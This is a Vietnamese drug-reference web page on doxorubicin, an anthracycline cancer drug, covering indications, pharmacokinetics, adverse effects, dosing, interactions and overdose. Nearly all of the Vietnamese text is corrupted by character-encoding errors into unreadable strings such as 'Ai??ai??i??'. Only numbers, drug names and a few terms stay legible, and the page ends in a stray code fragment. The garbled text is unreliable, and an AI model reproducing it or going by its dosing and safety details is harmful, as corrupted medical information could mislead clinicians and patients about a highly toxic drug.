Doxorubicin. Chai???a ung th?i??

Doxorubicin. Chữa ung thư

Tracuuthuoctay chia sa?i?? bAi??i via??tAi?? Doxorubicin. Chai???a ung th?i?? Ai?? gAi??? giA? thuai??i??c bao nhiA?u? chai??i?? Ai??ai??i??nh, cA?ch sai??i?? dai???ng, tA?c dai???ng phai??? thuai??i??c Ai??Doxorubicin. Ung th?i?? vA?, u x?i????ng A?c tAi??nh (sarcom x?i????ng) vAi?? u x?i????ng Ewing, u mA? mai???m, u khAi?? pha?? qua??n, u lympho A?c tAi??nh ca?? 2 da??ng: Hodgkin vAi?? khA?ng Hodgkin, ung th?i?? biai???u mA? tuya??n giA?p (carcinom tuya??n giA?p). Ung th?i?? Ai???i??ai???ng tia??t niai??i??u vAi?? sinh dai???c: Ung th?i?? tai??i?? cung, ung th?i?? bAi??ng quang, ung th?i?? tinh hoAi??n. Khai??i??i u Ai??a?i??c cai??i??a tra?i?? em: Sarcom c?? vA?n (Rhabdomyosarcom), u nguyA?n bAi??o tha?i??n kinh, u Wilm, bai??i??nh leucemi ca??p.

DOXORUBICIN

TA?n chung quai??i??c ta??: Doxorubicin.

MA? ATC: L01D B01.

Loa??i thuai??i??c: NhA?m anthracyclin. Chai???a ung th?i??.

GiA? thuai??i??c Ai??Doxorubicin.Ai??BAi??nh lua?i??n cuai??i??i bAi??i via??t Ai??ai??? Ai???i??ai???c thA?ng bA?o giA?

Da??ng thuai??i??c vAi?? hAi??m l?i??ai???ng

Lai??? 10 mg, 20 mg, 50 mg doxorubicin hydroclorid da??ng bai??i??t Ai??A?ng khA?. TA? d?i??ai???c: lactose vAi?? methylparaben Ai??ai??? lAi??m cho hoa??t cha??t dai??i?? tan.

Lai??? 10 mg/5 ml, 20 mg/10 ml, 50 mg/25 ml, 75 mg/37,5 ml (trong dung dai??i??ch natri clorid 0,9% vAi?? acid hydrocloric Ai??ai??? Ai??iai???u chai??i??nh dung dai??i??ch cA? pH 3).

D?i??ai???c lA? vAi?? c?? cha?? tA?c dai???ng

  • Doxorubicin lAi?? mai??i??t khA?ng sinh thuai??i??c nhA?m anthracyclin gA?y Ai??ai??i??c ta?? bAi??o Ai???i??ai???c phA?n la?i??p tai??i?? mA?i tr?i??ai???ng nuA?i ca??y Streptomyces peucetius var. caecius. Hiai??i??n nay Ai???i??ai???c tai??i??ng hai???p tai??i?? daunorubicin. Doxorubicin kAi??ch ai??i??ng ma??nh cA?c mA? vAi?? cA? thai??? gA?y hoa??i tai??i?? mA?, vAi?? dai??? trong tr?i??ai???ng hai???p tiA?m ra ngoAi??i ma??ch mA?u.
  • Hoa??t tAi??nh sinh hai???c cai??i??a doxorubicin lAi?? do doxorubicin ga??n vAi??o DNA lAi??m ai??i??c cha?? cA?c enzym ca?i??n thia??t Ai??ai??? sao chAi??p vAi?? phiA?n mA? DNA. Doxorubicin gA?y giA?n Ai??oa??n ma??nh chu kai??? phA?t triai???n ta?? bAi??o ai??Y giai Ai??oa??n phA?n bAi??o S vAi?? giai Ai??oa??n giA?n phA?n, nh?i??ng thuai??i??c cAi??ng tA?c dai???ng trA?n cA?c giai Ai??oa??n khA?c cai??i??a chu kai??? phA?t triai???n ta?? bAi??o.
  • Doxorubicin cA? thai??? dA?ng Ai????n Ai??ai??i??c hoa?i??c phai??i??i hai???p vai??i??i thuai??i??c chai??i??ng ung th?i?? khA?c. Sai??i?? khA?ng thuai??i??c chAi??o xa??y ra khi khai??i??i u khA?ng ca?? doxorubicin vAi?? daunorubicin.

D?i??ai???c Ai??ai??i??ng hai???c

Chuyai???n hA?a vAi?? phA?n bai??i?? doxorubicin va?i??n Ai??ang Ai???i??ai???c lAi??m sA?ng tai???. Ai??Doxorubicin chuyai???n hA?a chai??i?? ya??u ai??Y gan ta??o thAi??nh doxorubicinol vAi?? cA?c Ai??aglycon. Ca?i??n l?i??u A? lAi?? mai??i??t vAi??i cha??t chuyai???n hA?a nAi??y cAi??ng lAi?? cA?c cha??t gA?y Ai??ai??i??c ta?? bAi??o nh?i??ng khA?ng Ai??ai??i??c h??n doxorubicin. Nai??i??ng Ai??ai??i?? cao cA?c cha??t chuyai???n hA?a xua??t hiai??i??n nhanh trong huya??t t?i????ng vAi?? qua giai Ai??oa??n phA?n bai??i?? vai??i??i thai???i gian nai??i??a Ai??ai???i nga??n. Chuyai???n hA?a cha?i??m ai??Y ng?i??ai???i bai??i?? gia??m chai??i??c nA?ng gan.

Sau khi tiA?m tAi??nh ma??ch, doxorubicin tha??i trai??i?? qua 3 giai Ai??oa??n vAi?? nai??i??a Ai??ai???i cai??i??a thuai??i??c ai??Y giai Ai??oa??n cuai??i??i khoa??ng 30 giai???. Thai??? tAi??ch phA?n bai??i?? khoa??ng 25 lAi??t/kg. Trong huya??t t?i????ng khoa??ng 70% doxorubicin liA?n ka??t vai??i??i protein. Trong vA?ng 5 ngAi??y dA?ng thuai??i??c, khoa??ng 5% liai???u Ai??Ai??o tha??i qua tha?i??n; trong vA?ng 7 ngAi??y, khoa??ng 40 – 50% tha??i trai??i?? qua ma?i??t. Na??u chai??i??c nA?ng gan gia??m, tha??i trai??i?? cha?i??m h??n, do va?i??y ca?i??n gia??m liai???u dA?ng.

Doxorubicin qua hAi??ng rAi??o mA?u – nA?o ra??t Ai??t, nh?i??ng thuai??i??c qua Ai???i??ai???c hAi??ng rAi??o nhau – thai.

Doxorubicin khA?ng dA?ng Ai???i??ai???ng uai??i??ng vAi?? sinh kha?? dai???ng ra??t tha??p (d?i??ai??i??i 5%).

Chai??i?? Ai??ai??i??nh thuai??i??cAi??DOXORUBICIN

Chai??i?? Ai??ai??i??nh chAi??nh

Ung th?i?? vA?, u x?i????ng A?c tAi??nh (sarcom x?i????ng) vAi?? u x?i????ng Ewing, u mA? mai???m, u khAi?? pha?? qua??n, u lympho A?c tAi??nh ca?? 2 da??ng: Hodgkin vAi?? khA?ng Hodgkin, ung th?i?? biai???u mA? tuya??n giA?p (carcinom tuya??n giA?p).

Ung th?i?? Ai???i??ai???ng tia??t niai??i??u vAi?? sinh dai???c: Ung th?i?? tai??i?? cung, ung th?i?? bAi??ng quang, ung th?i?? tinh hoAi??n. Khai??i??i u Ai??a?i??c cai??i??a tra?i?? em: Sarcom c?? vA?n (Rhabdomyosarcom), u nguyA?n bAi??o tha?i??n kinh, u Wilm, bai??i??nh leucemi ca??p.

Chai??i?? Ai??ai??i??nh t?i????ng Ai??ai??i??i

Ung th?i?? tuya??n tiai???n liai??i??t, ung th?i?? cai??i?? tai??i?? cung, ung th?i?? A?m Ai??a??o, ung th?i?? Ai??a?i??u cai??i??, ung th?i?? da?? dAi??y.

CA? tA?c dai???ng tai??i??t trA?n mai??i??t sai??i?? ung th?i?? hia??m ga?i??p nh?i??: A?a u tai??i??y x?i????ng, u mAi??ng hoa??t dai??i??ch, u quA?i vAi?? u nguyA?n bAi??o vAi??ng ma??c.

Chai??i??ng chai??i?? Ai??ai??i??nh

  • CA? biai???u hiai??i??n suy gia??m chai??i??c nA?ng tai??i??y x?i????ng rAi??.
  • LoAi??t miai??i??ng hoa?i??c cA? ca??m giA?c nA?ng rA?t ai??Y miai??i??ng.
  • Suy tim.
  • Ng?i??ai???i bai??i??nh Ai??A? Ai??iai???u trai??i?? ba?i??ng doxorubicin hoa?i??c daunorubicin vai??i??i Ai??ai??i?? liai???u tAi??ch lAi??y.
  • QuA? ma?i??n ca??m vai??i??i doxorubicin.

Tha?i??n trai???ng

Ng?i??ai???i bai??i??nh bai??i?? bai??i??nh tim. Suy gia??m chai??i??c nA?ng tai??i??y x?i????ng (chai??i??c nA?ng ta??o mA?u). Ng?i??ai???i bai??i??nh Ai??A? Ai??iai???u trai??i?? ba?i??ng anthracyclin hoa?i??c tia X liai??i??u phA?p ai??Y vA?ng trung tha??t. A?ai??i??c tAi??nh Ai??ai??i??i vai??i??i tim vAi?? anthracyclin cA? tAi??nh cha??t tAi??ch lAi??y do tA?ng liai???u vAi?? thai???i gian Ai??iai???u trai??i??.

Thai???i kai??? mang thai

Doxorubicin gA?y khuya??t ta?i??t thai nhi vAi?? th?i??ai???ng na?i??ng, vAi?? va?i??y viai??i??c chai??i?? Ai??ai??i??nh doxorubicin pha??i ha??t sai??i??c ha??n cha?? sau khi Ai??A? cA?n nha??c giai???a lai???i Ai??ch cai??i??a ma?? vAi?? tA?c ha??i Ai??ai??i??i vai??i??i tra?i??.

Thai???i kai??? cho con bA?

Doxorubicin bAi??i tia??t vAi??o sai???a vAi?? gA?y ha??i cho tra?i??. Ng?i??ai???i Ai??ang cho con bA? ca?i??n Ai??iai???u trai??i?? ba?i??ng doxorubicin nA?n cai sai???a cho con.

TA?c dai???ng khA?ng mong muai??i??n (ADR)

A?iai???u trai??i?? ba?i??ng doxorubicin th?i??ai???ng cA? nhiai???u tA?c dai???ng khA?ng mong muai??i??n, mai??i??t sai??i?? pha??n ai??i??ng nghiA?m trai???ng ca?i??n Ai???i??ai???c theo dAi??i cha?i??t cha?? vAi?? giA?p Ai??ai??? cai??i??a tha?i??y thuai??i??c. TA?c dai???ng khA?ng mong muai??i??n th?i??ai???ng phai??? thuai??i??c vAi??o Ai???i??ai???ng dA?ng vAi?? liai???u dA?ng, tai??i??c Ai??ai??i?? dA?ng, ta?i??n sai??i?? dA?ng. Suy gia??m chai??i??c nA?ng tai??i??y x?i????ng lAi?? pha??n ai??i??ng cA? ha??i ra??t nha??y vai??i??i giai??i??i ha??n liai???u dA?ng, nh?i??ng cA? thai??? hai??i??i phai???c. Buai??i??n nA?n, nA?n vAi?? rai???ng tA?c th?i??ai???ng tha??y ai??Y ta??t ca?? cA?c ng?i??ai???i bai??i??nh. Mai??i??t va??n Ai??ai??? ca?i??n chA? A? lAi?? sai??i?? tAi??ch lAi??y thuai??i??c gA?y Ai??ai??i??c cho tim, tai??i??ng liai???u tai??i??i Ai??a khA?ng nA?n v?i??ai???t giai??i??i ha??n 550 mg/m2 da.

Th?i??ai???ng ga?i??p, ADR > 1/100

ToAi??n thA?n: ChA?n A?n, sai??i??t, chA?ng ma?i??t.

Hai??i?? ta??o mA?u: Suy gia??m chai??i??c nA?ng tai??i??y x?i????ng, gia??m ba??ch ca?i??u, gia??m tiai???u ca?i??u.

Tua?i??n hoAi??n: Bai??i??nh c?? tim (2%), thay Ai??ai??i??i Ai??iai??i??n tA?m Ai??ai??i?? (ECG) trong thai???i gian nga??n.

TiA?u hA?a: Buai??i??n nA?n, nA?n, viA?m niA?m ma??c, ai??i??a cha??y, chA?n A?n.

Da: Rai???ng tA?c, ban Ai??ai??? dai???c theo tAi??nh ma??ch tiA?m thuai??i??c, sa?i??m mAi??u mA?ng

tay, bong mA?ng.

CA?c loa??i khA?c: Pha??n ai??i??ng ta??i chai??i?? gA?y kAi??ch ai??i??ng bAi??ng quang, Ai??a?i??c biai??i??t ngay sau khi b??m thuai??i??c vAi??o bAi??ng quang.

A?t ga?i??p, 1/1000 < ADR < 1/100

TrA?n da: PhA?t ban, ban Ai??ai???, mAi??y Ai??ay lan rai??i??ng.

Tia??t niai??i??u – sinh dai???c: TA?ng acid uric mA?u.

TiA?u hA?a: DA?ng cA?ng vai??i??i cytarabin Ai??A?i khi gA?y loAi??t vAi?? hoa??i tai??i?? Ai??a??i trAi??ng, Ai??a?i??c biai??i??t biai???u mA? manh trAi??ng. Ca?i??n chA? A? theo dAi??i.

Hia??m ga?i??p, ADR < 1/1000

ToAi??n thA?n: Pha??n ai??i??ng pha??n vai??i??, rAi??t run, hoa ma??t.

Ma??t: ViA?m ka??t ma??c.

  • MA?u: Suy tai??i??y x?i????ng, ma??nh nha??t xa??y ra sau 8 – 15 ngAi??y Ai??iai???u trai??i??, nh?i??ng mA?u sa?? trai??Y la??i bAi??nh th?i??ai???ng sau 21 ngAi??y. NA?n gia??m liai???u hoa?i??c kAi??o dAi??i thai???i gian nga??t quA?ng dA?ng thuai??i??c khi sai??i?? l?i??ai???ng hai??i??ng ca?i??u khA?ng bAi??nh th?i??ai???ng trai??Y la??i trong thai???i gian mong muai??i??n.
  • Tua?i??n hoAi??n: A?ai??i??c tAi??nh Ai??ai??i??i vai??i??i tim lAi?? mai??i??t tA?c dai???ng khA?ng mong muai??i??n ca?i??n pha??i Ai???i??ai???c ha??t sai??i??c chA? A? trong khi Ai??iai???u trai??i?? lA?u dAi??i. Mai??i??c Ai??ai??i?? Ai??ai??i??c tAi??nh Ai??ai??i??i vai??i??i tim liA?n quan tai??i??i tai??i??ng liai???u gA?y tAi??ch lAi??y.
  • Hai loa??i Ai??ai??i??c tAi??nh Ai??ai??i??i vai??i??i tim Ai???i??ai???c mA? ta?? nh?i?? sau:
  • Bia??n Ai??ai??i??i ECG ca??p nh?i??ng cA? hai??i??i phai???c, xa??y ra ngay hoa?i??c trong vA?ng vAi??i giai??? sau khi dA?ng thuai??i??c. Nhai???ng thay Ai??ai??i??i nAi??y hai??i??i phai???c Ai???i??ai???c, nh?i??ng Ai??t cA? biai???u hiai??i??n lA?m sAi??ng rAi?? rAi??ng, Ai??a?i??c biai??i??t ca?i??n pha??i chA? A? nguy c?? loa??n nhai??i??p tim vAi?? sa?i??n sAi??ng Ai??iai???u trai??i??.
  • Bai??i??nh c?? tim phai??? thuai??i??c vAi??o tai??i??ng liai???u tAi??ch lAi??y, cA? thai??? phA?t triai???n sau mai??i??t thai???i gian dAi??i Ai??iai???u trai??i??, cho mai??i??t ha?i??u qua?? ra??t nghiA?m trai???ng. Pha??n ai??i??ng nAi??y th?i??ai???ng cA? Ai??a?i??c Ai??iai???m lAi?? gia??m sA?ng QRS vAi?? tia??n triai???n nhanh giA?n c?? tim, th?i??ai???ng khA?ng Ai??iai???u trai??i?? Ai???i??ai???c ba?i??ng ba??t kai??? thuai??i??c co sai???i c?? tim nAi??o.
  • A?ai??? trA?nh bai??i??nh c?? tim gA?y suy tim, pha??i chA? A? khA?ng sai??i?? dai???ng tai??i??ng liai???u gA?y tAi??ch lAi??y lAi?? trA?n 550 mg/m2 da.
  • CA?c ya??u tai??i?? lAi??m tA?ng nguy c?? bai??i??nh c?? tim lAi?? chia??u tia xa?? vAi??o vA?ng trung tha??t ai??Y ng?i??ai???i cA? ma??c bai??i??nh tim tai??i?? tr?i??ai??i??c vAi?? ng?i??ai???i cao tuai??i??i. Nguy c?? sa?? gia??m na??u dA?ng thuai??i??c theo cha?? Ai??ai??i?? hAi??ng tua?i??n. Theo dAi??i chai??i??c nA?ng tim, Ai??a?i??c biai??i??t lAi?? phA?n sai??i?? tai??i??ng mA?u tha??t trA?i ba?i??ng siA?u A?m tim lAi?? ra??t ca?i??n thia??t. Tuy va?i??y cA? nhiai???u tr?i??ai???ng hai???p bai??i??nh c?? tim phA?t triai???n, tha?i??m chAi?? hAi??ng nA?m sau khi ngai??i??ng Ai??iai???u trai??i??. A?o cung l?i??ai???ng tim trong quA? trAi??nh Ai??iai???u trai??i?? lAi?? ca?i??n thia??t nh?i??ng khA?ng nA?n Ai??A?nh giA? quA? mai??i??c vAi?? nh?i?? va?i??y cA? sai??i?? Ai??A?nh giA? sai vai??? an toAi??n. Nguy c?? luA?n luA?n cao na??u tai??i??ng liai???u v?i??ai???t quA? 550 mg/m2 diai??i??n tAi??ch da.
  • TiA?u hA?a: Buai??i??n nA?n, nA?n th?i??ai???ng xa??y ra 24 giai??? Ai??a?i??u sau khi dA?ng thuai??i??c. ViA?m niA?m ma??c (viA?m miai??i??ng, thai??i??c qua??n) sau 5 – 10 ngAi??y, th?i??ai???ng na?i??ng vAi?? hay ga?i??p h??n khi Ai??iai???u trai??i?? 3 ngAi??y liA?n tai???c.
  • LoAi??t vAi?? hoa??i tai??i?? biai???u mA? Ai??a??i trAi??ng, Ai??a?i??c biai??i??t ai??Y manh trAi??ng cA? thai??? gA?y cha??y mA?u vAi?? nhiai??i??m khua?i??n nghiA?m trai???ng, Ai??A?i khi gA?y tai??i?? vong. Va??n Ai??ai??? nAi??y Ai??A? ga?i??p ai??Y nhai???ng ng?i??ai???i bai??i??nh Ai??iai???u trai??i?? bai??i??nh ba??ch ca?i??u tai??i??y bAi??o ca??p khi ka??t hai???p doxorubicin vAi?? cytarabin trong 3 ngAi??y.
  • Da: Rai???ng tA?c, phai??? thuai??i??c vAi??o liai???u sai??i?? dai???ng vAi?? cA? thai??? bAi??nh phai???c sau khi ngai??i??ng Ai??iai???u trai??i??.

Liai???u l?i??ai???ng vAi?? cA?ch dA?ng

CA?ch dA?ng

A?ai??? pha thuai??i??c, hA?a 10 mg bai??i??t thuai??i??c vAi??o 5 ml n?i??ai??i??c Ai??ai??? tiA?m hoa?i??c dung dai??i??ch natri clorid 0,9% hoa?i??c dung dai??i??ch glucose 5% vAi?? nai??i??ng Ai??ai??i?? dung dai??i??ch thu Ai???i??ai???c lAi?? 2 mg/ml. Khi cho dung dai??i??ch hA?a tan, thuai??i??c sa?? tan nhanh trong 30 giA?y, chai??i?? ca?i??n la??c nha??, khA?ng ca?i??n dai??i??c ng?i??ai???c lai???.

TiA?m tAi??nh ma??ch lAi?? Ai???i??ai???ng dA?ng phai??i?? bia??n nha??t. Thuai??i??c Ai??A? pha cho qua 1 dA?y truyai???n tAi??nh ma??ch nhai??? giai???t trong 2 – 3 phA?t, nh?i?? va?i??y sa?? lAi??m gia??m tai??i??i Ai??a nguy c?? huya??t khai??i??i hoa?i??c thuai??i??c thoA?t ra ngoAi??i tAi??nh ma??ch gA?y hoa??i tai??i??.

TiA?m Ai??ai??i??ng ma??ch Ai??A? Ai???i??ai???c dA?ng nh?i??ng kai??? thua?i??t nAi??y ra??t nguy hiai???m vAi?? khA?ng Ai???i??ai???c khuya??n cA?o.

B??m nhai??? giai???t vAi??o bAi??ng quang ngAi??y cAi??ng Ai???i??ai???c dA?ng nhiai???u Ai??ai??? Ai??iai???u trai??i?? cA?c u nhA? bAi??ng quang vAi?? carcinom ta??i chai??i??, nh?i??ng khA?ng Ai???i??ai???c dA?ng Ai??ai??? Ai??iai???u trai??i?? cA?c u Ai??A? xA?m la??n vAi??o thAi??nh bAi??ng quang. Nai??i??ng Ai??ai??i?? doxorubicin trong bAi??ng quang pha??i lAi?? 50 mg/50 ml (1 mg/ml). A?ai??? trA?nh thuai??i??c bai??i?? pha loA?ng do n?i??ai??i??c tiai???u, ng?i??ai???i bai??i??nh khA?ng Ai???i??ai???c uai??i??ng ba??t cai??i?? dai??i??ch nAi??o 12 giai??? tr?i??ai??i??c khi b??m rai??? giai???t bAi??ng quang. Dung dai??i??ch pha??i Ai???i??ai???c giai??? 1 giai??? trong bAi??ng quang, trong thai???i gian Ai??A? pha??i h?i??ai??i??ng da?i??n ng?i??ai???i bai??i??nh cai??i?? 15 phA?t la??i thay Ai??ai??i??i t?i?? tha?? (na?i??m nghiA?ng bA?n pha??i, bA?n trA?i) vAi?? cuai??i??i cA?ng pha??i Ai??A?i ha??t.

Liai???u l?i??ai???ng:

Khi dA?ng doxorubicin pha??i cA? sai??i?? chai??i?? da?i??n vAi?? theo dAi??i cai??i??a bA?c sAi?? chuyA?n khoa cA? kinh nghiai??i??m.

Ng?i??ai???i lai??i??n: DA?ng mai??i??t thuai??i??c duy nha??t (doxorubicin), liai???u ba??t Ai??a?i??u 60 – 75 mg/m2 diai??i??n tAi??ch da (1,2 – 2,4 mg/kg) tiA?m tAi??nh ma??ch, cA?ch nhau 21 ngAi??y/la?i??n. DA?ng liai???u tha??p h??n Ai??ai??i??i vai??i??i ng?i??ai???i bai??i??nh suy tai??i??y. Na??u ka??t hai???p doxorubicin vai??i??i 1 thuai??i??c hA?a trai??i?? liai??i??u khA?c, gia??m liai???u tai??i??i 30 – 40 mg/m2 diai??i??n tAi??ch da tiA?m tAi??nh ma??ch cA?ch nhau 21 ngAi??y. Mai??i??t cA?ch Ai??iai???u trai??i?? khA?c, dA?ng mai??i??t thuai??i??c duy nha??t (doxorubicin) tiA?m tAi??nh ma??ch mai??i??i tua?i??n 15 – 20 mg/m2 hoa?i??c 20 – 25 mg/m2 diai??i??n tAi??ch da (0,4 – 0,8 mg/kg) tiA?m tAi??nh ma??ch trong 3 ngAi??y liai???n, cA?ch nhau 4 tua?i??n. A?ai??? trA?nh bai??i??nh c?? tim, tai??i??ng liai???u Ai??iai???u trai??i?? khA?ng Ai???i??ai???c v?i??ai???t quA? 550 mg/m2 diai??i??n tAi??ch da.

Tra?i?? em: Liai???u nh?i?? ng?i??ai???i lai??i??n cA? thai??? phA? hai???p, nh?i??ng nA?n gia??m liai???u.

  • Ng?i??ai???i cao tuai??i??i: Tai??i??ng liai???u khA?ng Ai???i??ai???c v?i??ai???t quA? 450 mg/m2 diai??i??n tAi??ch da Ai??ai??i??i vai??i??i ng?i??ai???i bai??i??nh trA?n 70 tuai??i??i. Liai???u ng?i??ai???i lai??i??n cA? thai??? phA? hai???p, nh?i??ng nA?n gia??m liai???u na??u ca?i??n.
  • Ng?i??ai???i bai??i?? gia??m chai??i??c nA?ng gan, liai???u gia??m nh?i?? sau:
  • Bilirubin huya??t thanh lAi?? 24 – 50 micromol/lAi??t (1,2 – 3,0 mg/100 ml):
  • Liai???u khuyA?n dA?ng lAi?? 50% liai???u bAi??nh th?i??ai???ng. Na??u trA?n 50 micromol/lAi??t (trA?n 3,0 mg/100 ml): NA?n dA?ng 25% liai???u bAi??nh th?i??ai???ng

GiA?m sA?t ng?i??ai???i bai??i??nh trong khi Ai??iai???u trai??i??

  • Ba??t Ai??a?i??u Ai??iai???u trai??i?? ba?i??ng doxorubicin Ai??A?i hai???i pha??i theo dAi??i sA?t ng?i??ai???i bai??i??nh vAi?? lAi??m nhiai???u xAi??t nghiai??i??m, nA?n ng?i??ai???i bai??i??nh ca?i??n Ai???i??ai???c nha?i??p viai??i??n trong giai Ai??oa??n Ai??a?i??u Ai??iai???u trai??i??. A?a??m hai??i??ng ca?i??u, ba??ch ca?i??u, chai??i??c nA?ng gan, tim (Ai??a?i??c biai??i??t phA?n sai??i?? tai??i??ng mA?u tha??t trA?i ba?i??ng siA?u A?m tim) ca?i??n Ai???i??ai???c thai??i??c hiai??i??n tr?i??ai??i??c mai??i??i la?i??n Ai??iai???u trai??i?? ba?i??ng doxorubicin.
  • Trong khi truyai???n, na??u ng?i??ai???i bai??i??nh kA?u buai??i??t hoa?i??c rA?t bai???ng ai??Y chai??i?? tiA?m, cA? nghAi??a lAi?? thuai??i??c Ai??A? thoA?t ra ngoAi??i thAi??nh ma??ch ma?i??c dA? hA?t mA?u va?i??n ra tai??i??t, pha??i ngai??i??ng truyai???n ngay vAi?? tAi??m mai??i??t tAi??nh ma??ch khA?c. Ca?i??n ch?i??ai???m la??nh vA?ng tiA?m vAi?? cA? thai??? tiA?m ta??i chai??i?? dexamethason hoa?i??c hydrocortison Ai??ai??? gia??m tai??i??i thiai???u hoa??i tai??i??, cAi??ng cA? thai??? bA?i kem hydrocortison 1% vAi??o chai??i?? tiA?m.

ChA? A?: Khi Ai??iai???u trai??i??, n?i??ai??i??c tiai???u sa?? cA? mAi??u Ai??ai???.

T?i????ng tA?c thuai??i??c

  • Doxorubicin lAi??m tA?ng Ai??ai??i??c tAi??nh cai??i??a mercaptopurin vAi?? azathioprin Ai??ai??i??i vai??i??i gan.
  • Doxorubicin dA?ng cA?ng vai??i??i propranolol sa?? lAi??m tA?ng Ai??ai??i??c tAi??nh Ai??ai??i??i vai??i??i tim.
  • Doxorubicin dA?ng Ai??ai??i??ng thai???i vai??i??i actinomycin – D vAi?? plicamycin cA? tr?i??ai???ng hai???p tai??i?? vong do bai??i??nh c?? tim.
  • TA?c dai???ng cai??i??a doxorubicin cA? thai??? gia??m khi sai??i?? dai???ng Ai??ai??i??ng thai???i vai??i??i barbiturat.
  • Sai??i?? ha??p thai??? cai??i??a ciprofloxacin cA? thai??? gia??m mai??i??t nai??i??a khi sai??i?? dai???ng Ai??ai??i??ng thai???i vai??i??i doxorubicin
  • Khi sai??i?? dai???ng Ai??ai??i??ng thai???i doxorubicin cA?ng vai??i??i cA?c thuai??i??c gA?y Ai??ai??i??c ta?? bAi??o khA?c nh?i?? warfarin cA? thai??? lAi??m tA?ng tA?c dai???ng cai??i??a thuai??i??c nAi??y vAi?? gA?y cha?i??y mA?u trong mai??i??t sai??i?? tr?i??ai???ng hai???p.
  • Verapamil lAi??m tA?ng tA?c dai???ng cai??i??a doxorubicin ca?? trong mA?i tr?i??ai???ng nuA?i ca??y mA? vAi?? trA?n ng?i??ai???i bai??i??nh. Thuai??i??c lAi??m tA?ng nai??i??ng Ai??ai??i?? cai??i??a doxorubicin trong mA?u.

A?ai??i?? ai??i??n Ai??ai??i??nh vAi?? ba??o qua??n

  • Dung dai??i??ch tiA?m doxorubicin vAi?? doxorubicin hydroclorid Ai??ai??? pha tiA?m, nA?n ba??o qua??n ai??Y nhiai??i??t Ai??ai??i?? 2 – 8oC, trA?nh A?nh sA?ng.
  • Doxorubicin hA?a tan nhanh. Dung dai??i??ch Ai??A? pha ai??i??n Ai??ai??i??nh trong khoa??ng 12 giai??? trong tai??i?? la??nh, tai??i??t h??n na??u ai??Y nhiai??i??t Ai??ai??i?? 2 – 8oC, trA?nh A?nh sA?ng.
  • Chai??i?? sai??i?? dai???ng nhai???ng dung dai??i??ch cA?n trong.
  • Khi pha cha?? dung dai??i??ch pha??i vA? trA?ng vAi?? nA?n giai??? ai??Y nhiai??i??t Ai??ai??i?? cao nha??t lAi?? 8oC, trA?nh A?nh sA?ng. A?ai??? Ai??a??m ba??o vA? khua?i??n, chai??i?? Ai???i??ai???c phAi??p ba??o qua??n dung dai??i??ch sau khi pha cha?? trong vA?ng 12 giai??? tr?i??ai??i??c khi sai??i?? dai???ng.

T?i????ng kai??i??

  • Doxorubicin khA?ng Ai???i??ai???c trai??i??n vai??i??i ba??t cai??i?? thuai??i??c nAi??o sau Ai??A?y (vAi?? cAi??ng khA?ng Ai???i??ai???c truyai???n nhai??? giai???t trong cA?ng dA?y truyai???n): Heparin, fluorouracil, aminophylin, cephalothin, methotrexat, dexamethason, diazepam, hydrocortison, furosemid.
  • Doxorubicin bai???n vai???ng trong dung dai??i??ch truyai???n phai??i??i hai???p vai??i??i vincristin. Mai??i??t dung dai??i??ch phai??i??i hai???p phai??i?? bia??n trong dung dai??i??ch natri clorid 0,9% chai??i??a doxorubicin 1,4 mg/lAi??t vAi?? vincristin 0,33 mg/lAi??t.
  • Doxorubicin cAi??ng cA? thai??? ka??t hai???p vai??i??i cyclophosphamid, dacarbazin, bleomycin, vinblastin.

QuA? liai???u vAi?? xai??i?? trAi??

Triai??i??u chai??i??ng lA?m sAi??ng:

  • Triai??i??u chai??i??ng quA? liai???u giai??i??ng nh?i?? tA?c dai???ng d?i??ai???c lA? cai??i??a doxorubicin. Liai???u dA?ng duy nha??t 250 vAi?? 500 mg Ai??A? gA?y tai??i?? vong. Sai??i?? quA? liai???u cA? thai??? gA?y thoA?i hA?a ca??p c?? tim trong vA?ng 24 giai??? vAi?? gA?y suy tai??i??y na?i??ng, a??nh h?i??ai??Yng nAi??y ma??nh nha??t sau 10 – 15 ngAi??y sai??i?? dai???ng.
  • Suy tim cA? thai??? xa??y ra cha?i??m, (6 thA?ng sau khi dA?ng thuai??i??c quA? liai???u). Ng?i??ai???i bai??i??nh ca?i??n Ai???i??ai???c theo dAi??i ca?i??n tha?i??n na??u cA? triai??i??u chai??i??ng xua??t hiai??i??n pha??i Ai???i??ai???c Ai??iai???u trai??i?? ngay.

Xai??i?? trAi??:

  • A?iai???u trai??i?? hai??i?? trai??? triai??i??u chai??i??ng, ca?i??n Ai??a?i??c biai??i??t chA? A? Ai??iai???u trai??i?? vAi?? Ai??ai??? phA?ng nhai???ng bia??n chai??i??ng na?i??ng cA? thai??? xa??y ra nh?i?? cha??y mA?u, nhiai??i??m khua?i??n na?i??ng, suy gia??m tai??i??y x?i????ng kAi??o dAi??i.
  • Truyai???n mA?u vAi?? chA?m sA?c ng?i??ai???i bai??i??nh ca?i??n tha?i??n.

ThA?ng tin qui cha??

Doxorubicin cA? trong danh mai???c thuai??i??c thia??t ya??u Viai??i??t Nam ban hAi??nh la?i??n thai??i?? t?i?? nA?m 1999.

Thuai??i??c Ai??ai??i??c ba??ng A.

Nguai??i??n d?i??ai???c th?i?? quai??i??c gia

Tham kha??o hAi??nh a??nh cA?c dA?ng thuai??i??cAi??Doxorubicin. Chai???a ung th?i??

Ai??Ai??Doxorubicin. Chai???a ung th?i?? Doxorubicin. Chai???a ung th?i??

Vui lA?ng Ai??a?i??t cA?u hai???i vai??? bAi??i via??t Doxorubicin. Chai???a ung th?i??, chA?ng tA?i sa?? tra?? lai???i nhanh chA?ngvar 